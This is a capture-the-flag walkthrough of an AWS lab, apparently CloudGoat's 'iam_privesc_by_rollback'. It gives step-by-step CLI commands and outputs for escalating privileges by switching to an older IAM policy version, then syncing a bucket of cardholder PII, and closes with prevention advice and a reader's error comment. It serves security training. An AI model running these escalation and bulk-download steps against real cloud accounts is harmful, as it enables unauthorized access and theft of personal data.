Using the provided Access Key ID and Secret Access Key, configure your AWS CLI profile.
This lab’s username is provided when you launch the lab, and you can use this information to list attached policies:
aws iam list-attached-user-policies --user-name raynor-iam_privesc_by_rollback_cgidky1t7bwmv8
Code language: PHP (php)
Please note: do not expect the values returned in my examples to be identical to your values. For example, your user’s name will be different. Use this as a guide, not an exact copy/paste walkthrough.
Result:
{
"AttachedPolicies": [
{
"PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8",
"PolicyArn": "arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8"
}
]
}
Code language: JSON / JSON with Comments (json)
This command tells us what policies are attached to this user, but we need to be able to see what permissions the policy grants us.
This is actually somewhat of a tricky thing to do with the AWS CLI. You would think that there would be a basic command that would do that, but not really. Instead, you have a couple of options.
One option is to use iam get-policy where you pass in a --policy-arn value (which we just got from the prior result):
aws iam get-policy --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8 --profile raynor
Code language: JavaScript (javascript)
Which gives us:
{
"Policy": {
"PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8",
"PolicyId": "ANPAT6ZKEI3E3IG5CLWC3",
"Arn": "arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "cg-raynor-policy",
"CreateDate": "2023-08-31T16:31:16Z",
"UpdateDate": "2023-08-31T16:31:17Z",
"Tags": []
}
}
Code language: JSON / JSON with Comments (json)
We get back a useful piece of information with the DefaultVersionId because it tells us that our current default policy version id is v1.
We can use this command to retrieve the policy for version 1 (which is the current DefaultVersionId:
aws iam get-policy-version --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8 --version-id v1
Code language: JavaScript (javascript)
The result:
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"iam:Get*",
"iam:List*",
"iam:SetDefaultPolicyVersion"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "IAMPrivilegeEscalationByRollback"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2023-08-31T16:31:16Z"
}
}
Code language: JSON / JSON with Comments (json)
We can see that we have limited access. Now let’s check to see if we have more versions available than just v1 by listing policy versions:
aws iam list-policy-versions --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8
Code language: PHP (php)
And it will return multiple policy versions:
{
"Versions": [
{
"VersionId": "v4",
"IsDefaultVersion": false,
"CreateDate": "2023-08-31T16:31:17Z"
},
{
"VersionId": "v3",
"IsDefaultVersion": false,
"CreateDate": "2023-08-31T16:31:17Z"
},
{
"VersionId": "v2",
"IsDefaultVersion": false,
"CreateDate": "2023-08-31T16:31:17Z"
},
{
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2023-08-31T16:31:16Z"
}
]
}
Code language: JSON / JSON with Comments (json)
Knowing this, we can now try to list the IAM policies for those version to see if they have higher privileges, starting with v2:
aws iam get-policy-version --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8 --version-id v2
Code language: JavaScript (javascript)
Right away, I can see that this policy version has very broad permissions to S3:
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
Effect: 'Allow',
Action: [
"s3:List*",
"s3:Get*"
],
Resource: '*'
}
]
},
"VersionId": "v2",
"IsDefaultVersion": false,
"CreateDate": "2023-08-31T16:31:17Z"
}
}
Code language: JavaScript (javascript)
If you don’t see the same policy as above in your version 2, check all of the other policy versions until you find the right one.
If we look back at the policy we have currently applied to our user, we see that we have access to iam:SetDefaultPolicyVersion, so instead, we can try to change our default policy version to this other version that gives us access to S3 (for me it’s version 2, for you it might be 3 or 4):
We can use the command:
aws iam set-default-policy-version --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8 --version-id v2
Code language: JavaScript (javascript)
If we re-run this prior command:
aws iam get-policy --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8
Code language: JavaScript (javascript)
Unfortunately we will get an access denied error since we’ve swapped our policy from the prior one that had iam:Get* and iam:List* permissions to one that only has S3 access — and sometimes that’s what PrivEscs look like. Ideally we elevate all of our permissions, but sometimes if we are after juicy S3 data, we may have to give up other permissions in the process.
If you were able to see it, you would see that the default policy version changed, like this: (yours might be v4 or v3 instead)
{
"Policy": {
"PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8",
"PolicyId": "ANPAT6ZKEI3E3IG5CLWC3",
"Arn": "arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8",
"Path": "/",
"DefaultVersionId": "v2",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "cg-raynor-policy",
"CreateDate": "2023-08-31T16:31:16Z",
"UpdateDate": "2023-08-31T17:23:36Z",
"Tags": []
}
}
Code language: JSON / JSON with Comments (json)
What you do have access to now is Amazon S3, including the sensitive PII data that you can download:
aws s3 ls
You can see that you have access to an S3 bucket with sensitive objects:
aws s3 ls s3://iamrollback-cardholder-data-bucket-969177259243-<ID>
Code language: HTML, XML (xml)
You can download all of the bucket’s contents:
aws s3 sync s3://iamrollback-cardholder-data-bucket-969177259243-<ID> ~/Downloads
Code language: HTML, XML (xml)
You will now have those sensitive files downloaded to your local computer.
Copy/paste the first IP address from the first row of the .csv file (for member ‘Cooper Luffman’) and submit it as the flag.
Congrats! You’ve captured the flag.
Conclusion
This scenario is a great example of how someone can elevate their privileges simply by having a misconfigured but seemingly harmless AWS IAM policy assigned to them.
This could happen when a cloud admin goes in and initially sets up the account, and to make it easier they start off with high level privileges and then they go back in and reduce permissions.
When versioning is enabled, AWS will keep track of that prior version. If the IAM user has permissions to set a different policy version, they can exploit this to their advantage as we just saw.
This attack can be be prevented and restricted by:
- Deleting other versions of policies
- Restricting access to actions like
SetDefaultPolicyVersionandCreatePolicyVersion
I got following error while setting up the v2 policy
aws iam get-policy –policy-arn arn:aws:iam::969177259XXX:policy/policyforexploitableuser –profile iampriv
—>> An error occurred (AccessDenied) when calling the GetPolicy operation: User: arn:aws:iam::969177259XXX:user/privesc-via-iam-version-rollback-1766322466618-user is not authorized to perform: iam:GetPolicy on resource: policy arn:aws:iam::969177259XXX:policy/policyforexploitableuser because no identity-based policy allows the iam:GetPolicy action